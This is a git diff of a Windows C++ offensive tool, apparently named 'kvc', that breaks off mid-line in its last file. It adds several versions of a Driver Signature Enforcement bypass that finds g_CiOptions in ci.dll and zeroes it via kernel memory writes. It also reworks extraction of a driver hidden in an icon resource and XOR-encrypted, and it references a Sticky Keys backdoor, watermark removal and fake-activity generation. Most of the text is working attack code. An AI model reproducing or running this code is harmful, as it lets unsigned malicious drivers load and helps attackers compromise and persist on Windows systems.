b/kvc/ControllerDriverManager.cpp @@ -1,4 +1,7 @@ // ControllerDriverManager.cpp +// Driver lifecycle management: installation, service control, extraction +// Author: Marek Wesolowski, 2025 + #include "Controller.h" #include "common.h" #include "Utils.h" @@ -11,8 +14,7 @@ namespace fs = std::filesystem; // SERVICE CLEANUP AND MANAGEMENT // ============================================================================ -// Attempts to forcefully remove the driver service, ignoring most errors. -// This is a cleanup utility to ensure a clean state before installation. +// Forcefully remove driver service, ignoring most errors bool Controller::ForceRemoveService() noexcept { if (!InitDynamicAPIs()) { return false; @@ -23,7 +25,6 @@ bool Controller::ForceRemoveService() noexcept { return false; } - // Try to open the service with DELETE access SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE); if (!hService) { DWORD err = GetLastError(); @@ -40,8 +41,7 @@ bool Controller::ForceRemoveService() noexcept { return success || (err == ERROR_SERVICE_MARKED_FOR_DELETE); } -// Detects zombie service state (marked for deletion but not yet removed). -// Returns true if service exists with DELETE_PENDING flag, indicating system restart is required. +// Detect zombie service state (marked for deletion but not removed) bool Controller::IsServiceZombie() noexcept { if (!InitDynamicAPIs()) return false; @@ -207,7 +207,7 @@ bool Controller::StartDriverServiceSilent() noexcept { } // ============================================================================ -// DRIVER INSTALLATION - MAIN FUNCTION +// DRIVER INSTALLATION // ============================================================================ bool Controller::InstallDriver() noexcept { @@ -232,22 +232,13 @@ bool Controller::InstallDriver() noexcept { return false; } - auto encryptedData = ExtractEncryptedDriver(); - if (encryptedData.empty()) { - ERROR(L"Failed to extract encrypted driver from icon resource"); - return false; - } - - auto driverData = DecryptDriver(encryptedData); + // Extract driver (already decrypted by Utils::ExtractResourceComponents) + auto driverData = ExtractDriver(); if (driverData.empty()) { - ERROR(L"Failed to decrypt embedded driver data"); + ERROR(L"Failed to extract driver from resource"); return false; } - // ======================================================================== - // REFACTORED: Direct write with TrustedInstaller privileges - // ======================================================================== - // Get target paths fs::path driverDir = GetDriverStorePath(); fs::path driverPath = driverDir / fs::path(GetDriverFileName()); @@ -280,10 +271,7 @@ bool Controller::InstallDriver() noexcept { DEBUG(L"Driver file written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size()); - // ======================================================================== - // SERVICE REGISTRATION - // ======================================================================== - + // Register service if (!InitDynamicAPIs()) return false; GenerateFakeActivity(); @@ -326,7 +314,7 @@ bool Controller::InstallDriver() noexcept { } // ============================================================================ -// SILENT INSTALLATION (for automated operations) +// SILENT INSTALLATION // ============================================================================ bool Controller::InstallDriverSilently() noexcept { @@ -334,16 +322,10 @@ bool Controller::InstallDriverSilently() noexcept { return false; } - auto encryptedData = ExtractEncryptedDriver(); - if (encryptedData.empty()) return false; - - auto driverData = DecryptDriver(encryptedData); + // Extract driver (already decrypted) + auto driverData = ExtractDriver(); if (driverData.empty()) return false; - // ======================================================================== - // REFACTORED: Direct write with TrustedInstaller privileges - // ======================================================================== - // Get target paths fs::path driverDir = GetDriverStorePath(); fs::path driverPath = driverDir / fs::path(GetDriverFileName()); @@ -444,42 +426,26 @@ bool Controller::UninstallDriver() noexcept { std::error_code ec; if (!fs::remove(driverPath, ec)) { if (ec.value() != ERROR_FILE_NOT_FOUND) { - // Try with TrustedInstaller if normal delete fails m_trustedInstaller.DeleteFileAsTrustedInstaller(driverPath.wstring()); } } return true; } + // ============================================================================ -// DRIVER EXTRACTION AND DECRYPTION +// DRIVER EXTRACTION // ============================================================================ -// Extract driver from steganographic icon resource -std::vector Controller::ExtractEncryptedDriver() noexcept { - auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA); - if (iconData.size() <= 9662) { - ERROR(L"Icon resource too small or corrupted - steganographic driver missing"); +// Extract driver from resource (already decrypted by Utils::ExtractResourceComponents) +std::vector Controller::ExtractDriver() noexcept { + std::vector kvcSysData, dllData; + + if (!Utils::ExtractResourceComponents(IDR_MAINICON, kvcSysData, dllData)) { + ERROR(L"Failed to extract kvc.sys from resource"); return {}; } - // Skip first 9662 bytes (actual icon data) to get embedded driver - return std::vector(iconData.begin() + 9662, iconData.end()); -} - -// Decrypt embedded driver using XOR cipher -std::vector Controller::DecryptDriver(const std::vector& encryptedData) noexcept { - if (encryptedData.empty()) { - ERROR(L"No encrypted driver data provided"); - return {}; - } - - constexpr std::array key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; - std::vector decryptedData = encryptedData; - // Simple XOR decryption with repeating key - for (size_t i = 0; i < decryptedData.size(); ++i) { - decryptedData[i] ^= key[i % key.size()]; - } - - return decryptedData; + INFO(L"Driver extracted: %zu bytes", kvcSysData.size()); + return kvcSysData; } \ No newline at end of file diff --git a/kvc/ControllerSystemIntegration.cpp b/kvc/ControllerSystemIntegration.cpp index 5a9bc78..693957e 100644 --- a/kvc/ControllerSystemIntegration.cpp +++ b/kvc/ControllerSystemIntegration.cpp @@ -114,4 +114,27 @@ bool Controller::InstallStickyKeysBackdoor() noexcept { bool Controller::RemoveStickyKeysBackdoor() noexcept { return m_trustedInstaller.RemoveStickyKeysBackdoor(); -} \ No newline at end of file +} + +// ============================================================================ +// WATERMARK MANAGEMENT +// ============================================================================ + +bool Controller::RemoveWatermark() noexcept +{ + WatermarkManager wmManager(m_trustedInstaller); + return wmManager.RemoveWatermark(); +} + +bool Controller::RestoreWatermark() noexcept +{ + WatermarkManager wmManager(m_trustedInstaller); + return wmManager.RestoreWatermark(); +} + +std::wstring Controller::GetWatermarkStatus() noexcept +{ + WatermarkManager wmManager(m_trustedInstaller); + return wmManager.GetWatermarkStatus(); +} + diff --git a/kvc/DSEBypass_BSOD_minDebug.cpp b/kvc/DSEBypass_BSOD_minDebug.cpp new file mode 100644 index 0000000..a69f6bb --- /dev/null +++ b/kvc/DSEBypass_BSOD_minDebug.cpp @@ -0,0 +1,370 @@ +#include "DSEBypass.h" +#include "common.h" + +#pragma comment(lib, "ntdll.lib") + +// Kernel module structures (same as in Utils.cpp) +typedef struct _SYSTEM_MODULE { + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE, *PSYSTEM_MODULE; + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Count; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} + +bool DSEBypass::DisableDSE() noexcept { + INFO(L"[DSE] Attempting to disable Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); + + // Step 2: Locate g_CiOptions in CiPolicy section + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value and store as original + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + m_originalValue = current.value(); + INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); + + // Step 4: Test write capability - write same value back + DEBUG(L"[DSE] Testing write capability before modification..."); + if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) { + ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring"); + return false; + } + + // Verify test write + auto testRead = m_rtc->Read32(m_ciOptionsAddr); + if (!testRead || testRead.value() != m_originalValue) { + ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)", + m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF); + ERROR(L"[DSE] Memory region appears to be protected or monitored"); + return false; + } + + DEBUG(L"[DSE] Write capability test passed - memory is writable"); + + // Step 5: Disable DSE by setting to 0 + DWORD newValue = 0x0; + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + // Step 6: Verify the actual change + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); + return false; + } + + SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); + return true; +} + +bool DSEBypass::RestoreDSE() noexcept { + INFO(L"[DSE] Attempting to restore Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + // Step 2: Locate g_CiOptions + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + DWORD currentValue = current.value(); + INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + + // Step 4: Test write capability before modification + DEBUG(L"[DSE] Testing write capability before restoration..."); + if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) { + ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + return false; + } + + auto testRead = m_rtc->Read32(m_ciOptionsAddr); + if (!testRead || testRead.value() != currentValue) { + ERROR(L"[DSE] Memory test verification failed"); + return false; + } + + DEBUG(L"[DSE] Write capability test passed"); + + // Step 5: Restore to original value or default (0x6) + DWORD newValue = m_originalValue ? m_originalValue : 0x6; + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + // Step 6: Verify the change + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed"); + return false; + } + + SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + return true; +} + +std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + ERROR(L"[DSE] Failed to get ntdll.dll handle"); + return std::nullopt; + } + + typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + + auto pNtQuerySystemInformation = reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + + if (!pNtQuerySystemInformation) { + ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); + return std::nullopt; + } + + // First call to get required buffer size + ULONG bufferSize = 0; + NTSTATUS status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + nullptr, + 0, + &bufferSize + ); + + if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH + ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); + return std::nullopt; + } + + // Allocate buffer and get module list + auto buffer = std::make_unique(bufferSize); + auto modules = reinterpret_cast(buffer.get()); + + status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + modules, + bufferSize, + &bufferSize + ); + + if (status != 0) { + ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); + return std::nullopt; + } + + INFO(L"[DSE] Found %d kernel modules", modules->Count); + + // Debug: Show first 10 modules for diagnostic purposes + DEBUG(L"[DSE] Listing first 10 kernel modules:"); + for (ULONG i = 0; i < modules->Count && i < 10; i++) { + auto& mod = modules->Modules[i]; + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) fileName++; + else fileName = mod.ImageName; + + DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, + reinterpret_cast(mod.ImageBase)); + } + + // Search for target module by name + for (ULONG i = 0; i < modules->Count; i++) { + auto& mod = modules->Modules[i]; + + // Extract filename from full path + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) { + fileName++; // Skip backslash + } else { + fileName = mod.ImageName; + } + + if (_stricmp(fileName, moduleName) == 0) { + ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); + + // Validate base address is not NULL + if (baseAddr == 0) { + ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); + continue; // Keep searching in case of duplicates + } + + DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); + return baseAddr; + } + } + + ERROR(L"[DSE] Module %S not found in kernel", moduleName); + return std::nullopt; +} + +ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { + DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); + + // Get CiPolicy section information + auto dataSection = GetDataSection(ciBase); + if (!dataSection) { + ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); + return 0; + } + + ULONG_PTR dataStart = dataSection->first; + SIZE_T dataSize = dataSection->second; + + DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); + + // g_CiOptions is always at offset +4 in CiPolicy section + // This is a documented offset used by all DSE bypass tools + ULONG_PTR ciOptionsAddr = dataStart + 0x4; + + // Verify we can read from this address + auto currentValue = m_rtc->Read32(ciOptionsAddr); + if (!currentValue) { + ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); + return 0; + } + + DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); + return ciOptionsAddr; +} + +std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { + // Read DOS header (MZ signature) + auto dosHeader = m_rtc->Read16(moduleBase); + if (!dosHeader || dosHeader.value() != 0x5A4D) { + return std::nullopt; + } + + // Get PE header offset + auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); + if (!e_lfanew || e_lfanew.value() > 0x1000) { + return std::nullopt; + } + + ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); + + // Verify PE signature + auto peSignature = m_rtc->Read32(ntHeaders); + if (!peSignature || peSignature.value() != 0x4550) { + return std::nullopt; + } + + // Get section count + auto numSections = m_rtc->Read16(ntHeaders + 0x6); + if (!numSections || numSections.value() > 50) { + return std::nullopt; + } + + auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); + if (!sizeOfOptionalHeader) return std::nullopt; + + ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); + + DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value()); + + // ZOPTYMALIZOWANE: Szukaj tylko CiPolicy bez wypisywania wszystkich + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name (8 bytes) + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + // Check if this is CiPolicy + if (strcmp(name, "CiPolicy") == 0) { + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + + if (virtualSize && virtualAddr) { + DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", + virtualAddr.value(), virtualSize.value()); + + return std::make_pair( + moduleBase + virtualAddr.value(), + static_cast(virtualSize.value()) + ); + } + } + } + + ERROR(L"[DSE] CiPolicy section not found in ci.dll"); + return std::nullopt; +} + +bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { + // Simplified validation - address should be within module bounds + // Maximum reasonable module size is 2MB + return (addr > moduleBase && addr < moduleBase + 0x200000); +} + +DWORD DSEBypass::GetWindowsBuild() noexcept { + OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; + + typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( + GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); + + if (RtlGetVersion) { + RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); + return osInfo.dwBuildNumber; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/DSEBypass_old.cpp b/kvc/DSEBypass_old.cpp new file mode 100644 index 0000000..5ab9d0f --- /dev/null +++ b/kvc/DSEBypass_old.cpp @@ -0,0 +1,369 @@ +#include "DSEBypass.h" +#include "common.h" + +#pragma comment(lib, "ntdll.lib") + +// Same structures as in Utils.cpp +typedef struct _SYSTEM_MODULE { + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE, *PSYSTEM_MODULE; + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Count; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} + +bool DSEBypass::DisableDSE() noexcept { + INFO(L"[DSE] Attempting to disable Driver Signature Enforcement..."); + + // 1-3. Find ci.dll and g_CiOptions (bez zmian) + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); + + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + m_originalValue = current.value(); + INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); + + // ✅ Wyłącz DSE poprzez wyzerowanie + DWORD newValue = 0x0; // Najprostsze - wyzeruj wszystko jak EfiDSEFix + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); + return false; + } + + SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); + return true; +} + +bool DSEBypass::RestoreDSE() noexcept { + INFO(L"[DSE] Attempting to restore Driver Signature Enforcement..."); + + // 1-2. Find ci.dll and g_CiOptions (bez zmian) + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + DWORD currentValue = current.value(); + INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + + // ✅ Przywróć oryginalną wartość (zwykle 0x6) + DWORD newValue = m_originalValue ? m_originalValue : 0x6; // Fallback do 0x6 + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed"); + return false; + } + + SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + return true; +} + +std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + ERROR(L"[DSE] Failed to get ntdll.dll handle"); + return std::nullopt; + } + + typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + + auto pNtQuerySystemInformation = reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + + if (!pNtQuerySystemInformation) { + ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); + return std::nullopt; + } + + ULONG bufferSize = 0; + NTSTATUS status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + nullptr, + 0, + &bufferSize + ); + + // STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 + if (status != 0xC0000004L) { + ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); + return std::nullopt; + } + + auto buffer = std::make_unique(bufferSize); + auto modules = reinterpret_cast(buffer.get()); + + status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + modules, + bufferSize, + &bufferSize + ); + + if (status != 0) { + ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); + return std::nullopt; + } + + INFO(L"[DSE] Found %d kernel modules", modules->Count); + + // DEBUG: Show first 10 modules + for (ULONG i = 0; i < modules->Count && i < 10; i++) { + auto& mod = modules->Modules[i]; + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) fileName++; + else fileName = mod.ImageName; + + DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, + reinterpret_cast(mod.ImageBase)); + } + + // Search for module by name + for (ULONG i = 0; i < modules->Count; i++) { + auto& mod = modules->Modules[i]; + + // ImageName contains full path, file name is at the end + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) { + fileName++; // Skip '\' + } else { + fileName = mod.ImageName; + } + + if (_stricmp(fileName, moduleName) == 0) { + ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); + + // Check if ImageBase is not NULL + if (baseAddr == 0) { + ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); + continue; // Keep searching + } + + INFO(L"[DSE] Found %S at 0x%llX", moduleName, baseAddr); + return baseAddr; + } + } + + ERROR(L"[DSE] Module %S not found in kernel", moduleName); + return std::nullopt; +} + +ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { + INFO(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); + + auto dataSection = GetDataSection(ciBase); + if (!dataSection) { + ERROR(L"[DSE] Failed to locate data section in ci.dll"); + return 0; + } + + ULONG_PTR dataStart = dataSection->first; + SIZE_T dataSize = dataSection->second; + + INFO(L"[DSE] Scanning section: 0x%llX (size: 0x%llX)", dataStart, dataSize); + + // Skanuj całą sekcję + SIZE_T scanLimit = dataSize; + DWORD consecutiveFailures = 0; + + // ✅ DEBUG - wypisz WSZYSTKIE wartości w sekcji + INFO(L"[DSE] Dumping all DWORD values in section:"); + for (ULONG_PTR addr = dataStart; addr < dataStart + scanLimit - 4; addr += 4) { + auto value = m_rtc->Read32(addr); + + if (!value) { + consecutiveFailures++; + DEBUG(L"[DSE] 0x%llX: [READ FAILED]", addr); + if (consecutiveFailures > 20) { + ERROR(L"[DSE] Too many consecutive read failures, aborting"); + return 0; + } + continue; + } + + consecutiveFailures = 0; + DWORD val = value.value(); + + // Wypisz KAŻDĄ wartość + DEBUG(L"[DSE] 0x%llX (offset 0x%llX): 0x%08X", addr, addr - ciBase, val); + + // Pattern g_CiOptions + if ((val & 0x6) == 0x6 && val < 0x10000) { + ULONG_PTR offset = addr - ciBase; + INFO(L"[DSE] *** FOUND g_CiOptions at: 0x%llX (offset: 0x%llX, value: 0x%08X)", + addr, offset, val); + return addr; + } + } + + ERROR(L"[DSE] g_CiOptions not found in section"); + return 0; +} + +std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { + auto dosHeader = m_rtc->Read16(moduleBase); + if (!dosHeader || dosHeader.value() != 0x5A4D) { + return std::nullopt; + } + + auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); + if (!e_lfanew || e_lfanew.value() > 0x1000) { + return std::nullopt; + } + + ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); + + auto peSignature = m_rtc->Read32(ntHeaders); + if (!peSignature || peSignature.value() != 0x4550) { + return std::nullopt; + } + + auto numSections = m_rtc->Read16(ntHeaders + 0x6); + if (!numSections || numSections.value() > 50) { + return std::nullopt; + } + + auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); + if (!sizeOfOptionalHeader) return std::nullopt; + + ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); + + // ✅ DEBUG - wylistuj WSZYSTKIE sekcje + INFO(L"[DSE] Listing ALL sections in ci.dll:"); + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + auto characteristics = m_rtc->Read32(sectionHeader + 0x24); + + if (virtualSize && virtualAddr && characteristics) { + DWORD chars = characteristics.value(); + bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE + + INFO(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s", + i, name, virtualAddr.value(), virtualSize.value(), chars, + writable ? L"[WRITABLE]" : L"[READ-ONLY]"); + } + } + + // Teraz szukaj sekcji zawierającej offset 0x4E004 + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + + if (virtualSize && virtualAddr) { + DWORD rva = virtualAddr.value(); + DWORD size = virtualSize.value(); + + // Sprawdź czy offset 0x4E004 jest w tej sekcji + if (0x4E004 >= rva && 0x4E004 < (rva + size)) { + INFO(L"[DSE] Section %S contains offset 0x4E004!", name); + + return std::make_pair( + moduleBase + rva, + static_cast(size) + ); + } + } + } + + ERROR(L"[DSE] No section found containing offset 0x4E004"); + return std::nullopt; +} + +bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { + // Simplified validation - address should be within module + return (addr > moduleBase && addr < moduleBase + 0x200000); +} + +DWORD DSEBypass::GetWindowsBuild() noexcept { + OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; + + typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( + GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); + + if (RtlGetVersion) { + RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); + return osInfo.dwBuildNumber; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/DSEBypass_read_test.cpp b/kvc/DSEBypass_read_test.cpp new file mode 100644 index 0000000..391a3bc --- /dev/null +++ b/kvc/DSEBypass_read_test.cpp @@ -0,0 +1,394 @@ +#include "DSEBypass.h" +#include "common.h" + +#pragma comment(lib, "ntdll.lib") + +// Kernel module structures (same as in Utils.cpp) +typedef struct _SYSTEM_MODULE { + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE, *PSYSTEM_MODULE; + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Count; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} + +bool DSEBypass::DisableDSE() noexcept { + INFO(L"[DSE] Attempting to disable Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); + + // Step 2: Locate g_CiOptions in CiPolicy section + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value and store as original + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + m_originalValue = current.value(); + INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); + + // Step 4: Test write capability - write same value back + DEBUG(L"[DSE] Testing write capability before modification..."); + if 